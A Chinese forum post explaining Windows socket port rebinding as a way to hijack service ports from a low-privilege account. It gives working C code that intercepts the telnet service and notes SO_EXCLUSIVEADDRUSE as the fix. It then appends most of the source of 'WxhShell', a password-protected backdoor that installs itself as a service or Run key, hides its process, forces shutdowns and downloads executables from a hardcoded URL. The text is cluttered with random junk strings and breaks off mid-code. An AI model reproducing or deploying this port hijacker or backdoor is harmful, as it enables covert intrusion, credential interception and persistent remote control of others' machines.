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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: XzSl"UPYH  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Q{?\qCrrYl  
od5nRb  
  saddr.sin_family = AF_INET; m;\nMdn  
jf`w8*R  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); =}kISh  
mXyN{`q=  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); U;4i&=.!  
"uT2 DY[  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 /RMtCa~  
4v |i\V>M  
  这意味着什么?意味着可以进行如下的攻击: D!! B4zt  
yYYP;N?g4k  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ib#rT{e  
}e/vKW fT  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) `4snTM!v&  
IN<nZ?D#  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Xwdcy J!  
i&^JG/a  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  {Ji&rk}NP  
)B"{B1(  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 2uN3:_w  
DbLo{mFEIj  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 bGL}nPo  
J`)/\9'&&  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 +6$+] u]  
=}Zl E  
  #include s R>>l3H  
  #include f S/:OnH  
  #include M>Tg$^lm  
  #include    }2LWDQ;po  
  DWORD WINAPI ClientThread(LPVOID lpParam);   % &&)[  
  int main() }4!}vkVx  
  { LKp;sV  
  WORD wVersionRequested; 3<+ZA-2  
  DWORD ret; V0Oqq0\  
  WSADATA wsaData; }BU%<5CQ  
  BOOL val; ?A7 AVR  
  SOCKADDR_IN saddr; -,+C*|mu  
  SOCKADDR_IN scaddr; m//aAxmB  
  int err; NJgu`@YoI  
  SOCKET s; WZn;u3,R  
  SOCKET sc; ;Ivv4u  
  int caddsize; %(p9AE  
  HANDLE mt; `ovMfL.u  
  DWORD tid;   )mf|3/o  
  wVersionRequested = MAKEWORD( 2, 2 ); l7jen=(Zb;  
  err = WSAStartup( wVersionRequested, &wsaData ); tc[Ld#  
  if ( err != 0 ) { )W p7e51  
  printf("error!WSAStartup failed!\n"); 6xtgnl#T  
  return -1; 89^g$ ac  
  } pTG[F  
  saddr.sin_family = AF_INET; ^.iRU'{  
   RV_I&HD!  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 2( 0%{*m  
1E / G+pm  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); qpjZ-[UC  
  saddr.sin_port = htons(23); U m\HX6  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .=Oww  
  { A03io8D6  
  printf("error!socket failed!\n"); Gv G8s6IZ  
  return -1; L~{(9J'(  
  } MXfyj5K  
  val = TRUE; @(35I  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 r>ed/<_>m;  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 9v`sSTlSd  
  { ^*`#+*C  
  printf("error!setsockopt failed!\n"); 0Zwx3[bq6K  
  return -1; xtD(tiqh.;  
  } T=u"y;&L  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; p*42 @1,  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ,(Zxd4?y  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 HQ9tvSc  
2"Wq=qy\J  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) q MrM^ ~  
  { Ul /m]b6-  
  ret=GetLastError(); F7O*%y.';  
  printf("error!bind failed!\n"); 4]m{^z`1  
  return -1; dWkQ NFKF  
  } 'A.5T%n-  
  listen(s,2); e,p*R?Y{[  
  while(1) [(_,\:L${  
  { ,)*[Xa_n  
  caddsize = sizeof(scaddr); aWJ BYw6{L  
  //接受连接请求 PkyX,mr#1  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); i&lW&]  
  if(sc!=INVALID_SOCKET) OYt_i'Q  
  { 4hxP`!<  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); S-o )d  
  if(mt==NULL) P HOngn  
  { qx1Js3%  
  printf("Thread Creat Failed!\n"); j>;1jzr2}  
  break; -ak. wwx\  
  } 2bTS, N/>  
  } syg{qtBz^  
  CloseHandle(mt); 3e^0W_>6  
  } yH-&o,  
  closesocket(s); !Whx^B:  
  WSACleanup(); K)    
  return 0; qGH[kd  
  }   lMu9Dp  
  DWORD WINAPI ClientThread(LPVOID lpParam) 9y&;6V.'  
  { Xw'sh#i2  
  SOCKET ss = (SOCKET)lpParam; R[l`# I  
  SOCKET sc; H $Az,-P  
  unsigned char buf[4096]; TO5y.M|7  
  SOCKADDR_IN saddr; nlhv  
  long num; WO9vOS>  
  DWORD val; OAs>F"  
  DWORD ret; 3bezYk  
  //如果是隐藏端口应用的话,可以在此处加一些判断 " ]G'^  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   2;>uP#1]  
  saddr.sin_family = AF_INET; h%u!UHA  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); GqsV 6kH  
  saddr.sin_port = htons(23); `3ha~+Goo!  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9-{+U,3)  
  { d9S?dx  
  printf("error!socket failed!\n"); @0PWbs$  
  return -1; BNjMq  
  } H.XyNtJ  
  val = 100; <)a$5"AP  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) OqMdm~4B!j  
  { /KC^x= Xv:  
  ret = GetLastError(); BNE:,I*&  
  return -1; s?m_zJh  
  } C4ktCN  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4Ol1T(J#  
  { Hs8JJGXWB  
  ret = GetLastError(); 6c(b*o  
  return -1; fA<os+*9i  
  } :TP4f ?FA  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) W&cs&>F#  
  { $eT[`r  
  printf("error!socket connect failed!\n"); ./3/3& 6  
  closesocket(sc); (?'vT %  
  closesocket(ss); *2-b&PQR{  
  return -1; {ixKc  
  } 6(7{|iY  
  while(1) Q%q;=a  
  { hG~.Sc:G  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 -a>CF^tH  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 LNR1YC1c  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 k)D5>T  
  num = recv(ss,buf,4096,0); }z/%b<o_  
  if(num>0) hNYO+LrI)  
  send(sc,buf,num,0); zQ,M795@EA  
  else if(num==0) ewn\'RLZ"@  
  break; W f8@ B#^{  
  num = recv(sc,buf,4096,0); _8y4U  
  if(num>0) .p=J_%K}0x  
  send(ss,buf,num,0); LqI&1$#  
  else if(num==0) AU)\ lyB  
  break; ! jAp V  
  } A#?Cts ,M  
  closesocket(ss); QA^FP8!j  
  closesocket(sc); @>$qb|j  
  return 0 ; Q6URaw#Yt`  
  } )i.pE ]!+  
w{_g"X  
qTbc?S46pt  
========================================================== A:y^9+Da  
j~.tyxOq#  
下边附上一个代码,,WXhSHELL 0S>L0qp  
J,:;\Xhl  
========================================================== /CyFe<t  
f$5pp=s:n  
#include "stdafx.h" o/a2n<4  
R#y"SxD()  
#include <stdio.h> Dpu?JF]  
#include <string.h> x;:jF_  
#include <windows.h> ]G8"\J4 &  
#include <winsock2.h> /3hY[#e  
#include <winsvc.h> ?5B?P:=kl  
#include <urlmon.h> <VstnJo`Z  
~&<vAgy,  
#pragma comment (lib, "Ws2_32.lib") Crj7n/mp]s  
#pragma comment (lib, "urlmon.lib") N}#"o  
icIWv  
#define MAX_USER   100 // 最大客户端连接数 C .B=E"e  
#define BUF_SOCK   200 // sock buffer x)eF{%QB  
#define KEY_BUFF   255 // 输入 buffer /%jX=S.5h<  
;K>'Gl  
#define REBOOT     0   // 重启 H{i|?a)  
#define SHUTDOWN   1   // 关机 =~W=}  
pZ*%zt]-a  
#define DEF_PORT   5000 // 监听端口 h:G>w`X  
>L "+8N6  
#define REG_LEN     16   // 注册表键长度 Z 1wtOL  
#define SVC_LEN     80   // NT服务名长度 3Ur_?PM+C  
n!SHExBp  
// 从dll定义API *]R5bj.!o  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `Xeiz'~f8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); O<|pw  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5wAKA`p"z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ! N!pvK;  
r: >RH,  
// wxhshell配置信息 ,UVu.RjXN  
struct WSCFG { hP.Km%C)0n  
  int ws_port;         // 监听端口 s3@mk\?qMe  
  char ws_passstr[REG_LEN]; // 口令 P4{~fh(  
  int ws_autoins;       // 安装标记, 1=yes 0=no E8nj_ ^Z  
  char ws_regname[REG_LEN]; // 注册表键名 x3U>5F@  
  char ws_svcname[REG_LEN]; // 服务名 .I#_~C'\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 iWA?FBv  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 B1U!*yzG6  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 GNrRc3dr$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no l. cp[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" cvT@`1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4e|N^h*!  
uF}B:53A  
}; za 7+xF  
@'M"c q  
// default Wxhshell configuration W)T'?b'.  
struct WSCFG wscfg={DEF_PORT, q7soV(P  
    "xuhuanlingzhe", KkpbZ7\@  
    1, >O rIY  
    "Wxhshell", (@!K tW  
    "Wxhshell", [N9yW uc  
            "WxhShell Service", 0&CXR=U5  
    "Wrsky Windows CmdShell Service", [kxOv7a  
    "Please Input Your Password: ", [~\]<;;\  
  1, oqbz!dM(Z  
  "http://www.wrsky.com/wxhshell.exe", f2M*]{N  
  "Wxhshell.exe" {{M/=WqC  
    }; E6O!e<ze^  
O8" t.W  
// 消息定义模块 o%;ly  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; GB pdj}2=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; n=$ne2/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .<fdX()e,  
char *msg_ws_ext="\n\rExit."; Q}<QE:-&E  
char *msg_ws_end="\n\rQuit."; yVGf[ ~X  
char *msg_ws_boot="\n\rReboot..."; @Y.r ,q  
char *msg_ws_poff="\n\rShutdown..."; a 8Xwz@ M  
char *msg_ws_down="\n\rSave to "; 1(>2tEjYT  
;;Z'd@  
char *msg_ws_err="\n\rErr!"; Dic|n@_Fy  
char *msg_ws_ok="\n\rOK!"; HYT~AO-!  
$- %um  
char ExeFile[MAX_PATH]; EN/t5d  
int nUser = 0; /#@tv~Z^  
HANDLE handles[MAX_USER]; j[w=pF,o  
int OsIsNt; m`q&[:  
+ %K~  
SERVICE_STATUS       serviceStatus; vV 9vB3K5?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9c,/490Q  
=23@"ji@D  
// 函数声明 %3t;[$n#  
int Install(void); 6P>}7R}  
int Uninstall(void); =0PGE#d{t  
int DownloadFile(char *sURL, SOCKET wsh); w >2G@  
int Boot(int flag); srO>l ;Vf/  
void HideProc(void); NR8`nc1~  
int GetOsVer(void); P3 =#<Q.  
int Wxhshell(SOCKET wsl); %+|sbRBb  
void TalkWithClient(void *cs); QE)zH)(  
int CmdShell(SOCKET sock); I''n1v?N  
int StartFromService(void); ,1Z([R*  
int StartWxhshell(LPSTR lpCmdLine); 8c9<kGm$E  
aL90:,V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); M,li\)J!&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &s?uMWR  
5}]+|d;  
// 数据结构和表定义 [ @"6:tTU  
SERVICE_TABLE_ENTRY DispatchTable[] = $2i@@#g8  
{ L'aB/5_%  
{wscfg.ws_svcname, NTServiceMain}, NR k~  
{NULL, NULL} ,t wB" *  
}; L1(-xNUo_i  
U{pg y#/  
// 自我安装 xJ. kd Tr  
int Install(void) A4#F AFy  
{ U\j g X  
  char svExeFile[MAX_PATH]; u1#(~[.  
  HKEY key; ?(K=du  
  strcpy(svExeFile,ExeFile); y6[le*T  
i(cKg&+ktd  
// 如果是win9x系统,修改注册表设为自启动 c@}t@k  
if(!OsIsNt) { Tt{z_gU6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { </xf4.C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R@tEC)Zn  
  RegCloseKey(key); ;A7JX:*?y=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m9:ah<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); SvvNk  
  RegCloseKey(key); w <"mS*Q  
  return 0; &$_!S!Sa/  
    } +By'6?22  
  } dlCYdwP  
} i}v.x  
else { oS9Od8  
ZxT E(BQv  
// 如果是NT以上系统,安装为系统服务 BQg3+w:>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &V (6N%A^U  
if (schSCManager!=0) vS0 ii  
{ mR XR uK  
  SC_HANDLE schService = CreateService x`@`y7(  
  ( $)o0{HsL+  
  schSCManager, Mz2TwU_  
  wscfg.ws_svcname, .RFH@''  
  wscfg.ws_svcdisp, >8OY6wb  
  SERVICE_ALL_ACCESS, 5.&)hmpg  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , y1PyH  
  SERVICE_AUTO_START, G'-#99wv.  
  SERVICE_ERROR_NORMAL, =G^'wwpv(  
  svExeFile, (g X8iKl  
  NULL, a*.#Zgy:lK  
  NULL, 7[qL~BT+  
  NULL, qA`@~\ qh"  
  NULL, \6?a  
  NULL L;j++^p  
  ); KT<$E!@  
  if (schService!=0) h{ix$Xn~  
  { @d 7V@F0d  
  CloseServiceHandle(schService); c$&({Z{1  
  CloseServiceHandle(schSCManager); Fih pp<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Ow4(1eE_  
  strcat(svExeFile,wscfg.ws_svcname); Gvh"3|u ?z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /PTRe5-7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); T9Juq6|  
  RegCloseKey(key); $S?gQN.e  
  return 0; L_vl%ii-  
    } r#)1/`h  
  } rg>2tgA  
  CloseServiceHandle(schSCManager); kln)7SzPuk  
} vVa|E# [  
} 5~IdWwG*w  
m<>BxX  
return 1; P,'%$DLDg  
} z rSPa\M  
I%a-5f$0  
// 自我卸载 [ fzYC'A=  
int Uninstall(void) JVy|SA&R  
{ ;zD4 #7=  
  HKEY key; Q#H"Se  
R3|4|JlGR  
if(!OsIsNt) { \#dacQ2E@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jLVD37 P^  
  RegDeleteValue(key,wscfg.ws_regname); =%IyR  
  RegCloseKey(key); ^&1O:G*"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |H_WY#  
  RegDeleteValue(key,wscfg.ws_regname); n^ fUKi*;  
  RegCloseKey(key); N=2T~M 1  
  return 0; `}=R  
  } Qm[s"pM  
} hd9HM5{p  
} %ZWt 45A  
else { 9AB U^ig  
HV/:OCK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^OWG9`p+  
if (schSCManager!=0) =r ^_D=  
{ |R@T`dW  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); U[?_|=~7  
  if (schService!=0) h^tCF=S  
  { DWKQ>X6  
  if(DeleteService(schService)!=0) { 5{V"!M+<  
  CloseServiceHandle(schService); Nv36#^Z  
  CloseServiceHandle(schSCManager); `<se&IZE  
  return 0; KU` *LB:  
  } T&]-p:mg^  
  CloseServiceHandle(schService); |JYb4J4Ni  
  } LiT%d  
  CloseServiceHandle(schSCManager); {P~rf&Ee  
} d8jH?P-"  
} -9= DDoO  
9_:"`)] 3B  
return 1; 7mMGH(  
} "*t6KXVaM  
ZuGd{p$  
// 从指定url下载文件 %hYgG;22  
int DownloadFile(char *sURL, SOCKET wsh) '_.qhsS  
{ pz['o  
  HRESULT hr; /CsP@f_Gw  
char seps[]= "/"; 7<WS@-2I#  
char *token; ~CnnN[g(_  
char *file; g_syGQ\  
char myURL[MAX_PATH]; <L qJg  
char myFILE[MAX_PATH]; BK%B[f*[OA  
Dbn344s  
strcpy(myURL,sURL); #'s$6gT=  
  token=strtok(myURL,seps); ~KS@Ulrox  
  while(token!=NULL) Zhfg  
  { fIQ, }>  
    file=token; 66eJp-5e8  
  token=strtok(NULL,seps); .@OQ$ D<  
  } r]p3DQ  
8N'hG,  
GetCurrentDirectory(MAX_PATH,myFILE); Q NMZR  
strcat(myFILE, "\\"); <>\|hno}  
strcat(myFILE, file); `Fr ,,Q81\  
  send(wsh,myFILE,strlen(myFILE),0); -GPBX?  
send(wsh,"...",3,0); iG6]Pr|;e  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "V]*ov&[  
  if(hr==S_OK) gp`@dn';  
return 0; ;(`bP  
else xE<H@@w  
return 1; ~-7/9$ay5  
E! NtD).=S  
} hp'oiR;~w  
= exCpW>  
// 系统电源模块 e*}zl>f  
int Boot(int flag) Ie^Ed`  
{ > U?\WgE$  
  HANDLE hToken; )9yQ C  
  TOKEN_PRIVILEGES tkp;  1}=D  
T"Y#u  
  if(OsIsNt) { iLSUz j`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <7J3tn B  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2w7$"N  
    tkp.PrivilegeCount = 1; 3O$l;|SX  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `Uz.9_6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); wz:e\ !  
if(flag==REBOOT) { d5gwc5X  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) NzQvciJ@"  
  return 0; }?Y -I> w  
} iptA#<Yj  
else { L!Y|`P#Yr  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Ln,<|,fZN  
  return 0; X^eyrqv  
} Ljz)%y[s  
  } 2v ~8fr4  
  else { !FP ]  
if(flag==REBOOT) { $mM"C+dD  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) l.pxDMY  
  return 0; ~wW]ntZm  
} 2Cp4aTGv#  
else { 3pWav 1"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) PM[W7g T  
  return 0; j? BL8E'   
} Q*#Lr4cm{  
} ON\bD?(VY  
$EFS_*<X  
return 1; ek]JzD~w$  
} #h=V@Dh  
HU?1>}4L  
// win9x进程隐藏模块 j13- ?fQ&  
void HideProc(void) G)< B7-72;  
{ )4uWB2ZRoi  
A2ye ^<-C.  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); BGibBF^  
  if ( hKernel != NULL ) H I|a88   
  { a8T9=KY^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); cOP'ql{"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @3c'4O   
    FreeLibrary(hKernel); 5CK\Z'c~!  
  } A_@..hX(  
?Sh]kJ O  
return; i_*yS+Z;  
} )'n@A%B  
3:jxr  
// 获取操作系统版本 jnp~ACN,  
int GetOsVer(void) W'vekuM  
{ ~>>_`;B  
  OSVERSIONINFO winfo; y p{Dl  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }>@SyE'Q  
  GetVersionEx(&winfo); 4Y59^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) g$GGo[_0  
  return 1; ^oPFLez56  
  else 9~~NxWY%x  
  return 0; 1<m`38'  
} L-?ty@-i  
m^L!_~  
// 客户端句柄模块 QYo04`Rl  
int Wxhshell(SOCKET wsl) :& Dv!z  
{ }TMO>eB'  
  SOCKET wsh; N@PwC(   
  struct sockaddr_in client; p}pRf@(`\  
  DWORD myID; .S,E=  
,4"N7_!7  
  while(nUser<MAX_USER) ^?Xs!kJP  
{ bxh-#x &  
  int nSize=sizeof(client); <1I4JPh>x  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); f{VV U/$  
  if(wsh==INVALID_SOCKET) return 1; |Yw k  
6inAnC@I  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >C_G~R  
if(handles[nUser]==0) 3mU~G}ig  
  closesocket(wsh); hev;M)t  
else Zm*d)</>  
  nUser++; k ?KJ8  
  } bh5D}w  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =|AYT6z,  
P@UE.0NYX  
  return 0; ~ `}),aA  
} <MJU:m $3  
vai w*?jV  
// 关闭 socket NL:-3W7vf  
void CloseIt(SOCKET wsh) e4=FO;%  
{ xRc+3Z= N  
closesocket(wsh); (mP{A(kwJ  
nUser--; EoJ\Jk  
ExitThread(0); RP{0+  
} c?CfM>  
P x Q]$w  
// 客户端请求句柄 !a UYidd  
void TalkWithClient(void *cs) 8:c=h/fa  
{ v zs4tkG  
fWJpy#/^*K  
  SOCKET wsh=(SOCKET)cs; toGd;2rl  
  char pwd[SVC_LEN]; ?0:]% t18  
  char cmd[KEY_BUFF]; ^=^\=9" b  
char chr[1]; KJyCfMH&:@  
int i,j; A{\?]]/  
X>`03?L  
  while (nUser < MAX_USER) { C)j/!+nh  
 I\_2=mL  
if(wscfg.ws_passstr) { $i+@vbU6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dz+!yE\f$  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RgV3,z  
  //ZeroMemory(pwd,KEY_BUFF); g|uyQhsg  
      i=0; !D['}%  
  while(i<SVC_LEN) { >z%YKdq  
}I uqB*g[t  
  // 设置超时 +0U=UV)U  
  fd_set FdRead; s1wlOy  
  struct timeval TimeOut; d@ 8M_ O |  
  FD_ZERO(&FdRead); :AlvWf$d  
  FD_SET(wsh,&FdRead); !dwZ`D  
  TimeOut.tv_sec=8; P6kD tUXF  
  TimeOut.tv_usec=0; h=`$ec  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 'i$. _Tx  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); gk| % 4.  
!`N:.+DT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pnSKIn  
  pwd=chr[0]; ZMlBd}H  
  if(chr[0]==0xd || chr[0]==0xa) { OR6vA5J  
  pwd=0; :z P:4 NW  
  break; ^BLO}9A{P  
  } 1_S]t[?I/  
  i++; xz0t8`N oN  
    } c=+%][21  
V~*>/2+  
  // 如果是非法用户,关闭 socket (U# ,;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); G@Z%[YNw  
} .n8O 3V  
+&)/dHbL`]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #z>I =gl  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Pl/Xh03E  
/7"V~c6  
while(1) { 0IqGy}+VU  
d6*84'|!  
  ZeroMemory(cmd,KEY_BUFF); >6yQuB  
^G`6Zg;  
      // 自动支持客户端 telnet标准   l4i 51S"  
  j=0; GdUsv  
  while(j<KEY_BUFF) { Wap4:wT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {.kIC@^O  
  cmd[j]=chr[0]; }Fu1Y@M%  
  if(chr[0]==0xa || chr[0]==0xd) { uMva5o  
  cmd[j]=0; ] / Nt  
  break; xdbzp U  
  } PEEaNOk 1b  
  j++; A z@@0  
    } :|kO}NGM  
;b 65s9n^b  
  // 下载文件 *w0|`[P+h  
  if(strstr(cmd,"http://")) { *(5;5r  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @!oN]0`F;  
  if(DownloadFile(cmd,wsh)) V  H`_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9;%$  
  else Q e+;BE-H  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m%u`#67oK  
  } f_O|  
  else { 8D`+3  
Xj+_"0 #  
    switch(cmd[0]) { I2HV{1(i  
  p5E okh  
  // 帮助 .S|T{DMQ[  
  case '?': { j;uUM6  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @mZK[*Ak<*  
    break; nI?*[y}  
  } @d{}M)6\!  
  // 安装 $!. [R}  
  case 'i': { r4[=pfe25  
    if(Install()) 1lIs jBo g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IY6Ll6OK  
    else X%s5D&gr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z*w({k7]  
    break; Zs/-/C|  
    } 6_" n  
  // 卸载 \?v&JmEU  
  case 'r': { qspGNu  
    if(Uninstall()) X\!q8KEpR&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MF.!D;s  
    else IW i0? V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Hk+44   
    break; ^k % +ao  
    } l opl  
  // 显示 wxhshell 所在路径 g zi=+oJ|4  
  case 'p': { ?;](;n#lU  
    char svExeFile[MAX_PATH]; >F^$ ' b]  
    strcpy(svExeFile,"\n\r"); t)8c rX}P  
      strcat(svExeFile,ExeFile); j%3 $ytf|p  
        send(wsh,svExeFile,strlen(svExeFile),0); Tx&H1  
    break; S+KKGi_e  
    } bj0HAgY@  
  // 重启 'X+aYF }Ye  
  case 'b': { H#GR*4x  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); pW8?EGO@  
    if(Boot(REBOOT)) -SD:G]un  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jA?[*HB  
    else { }Y.@:v j  
    closesocket(wsh); 5YPIv-  
    ExitThread(0); n1|]ji[c  
    } @A8y!<  
    break; .T8^>z1/\F  
    } Mfz(%F|<  
  // 关机 o7+<sL  
  case 'd': { bS:$VyH6  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); GB `n  
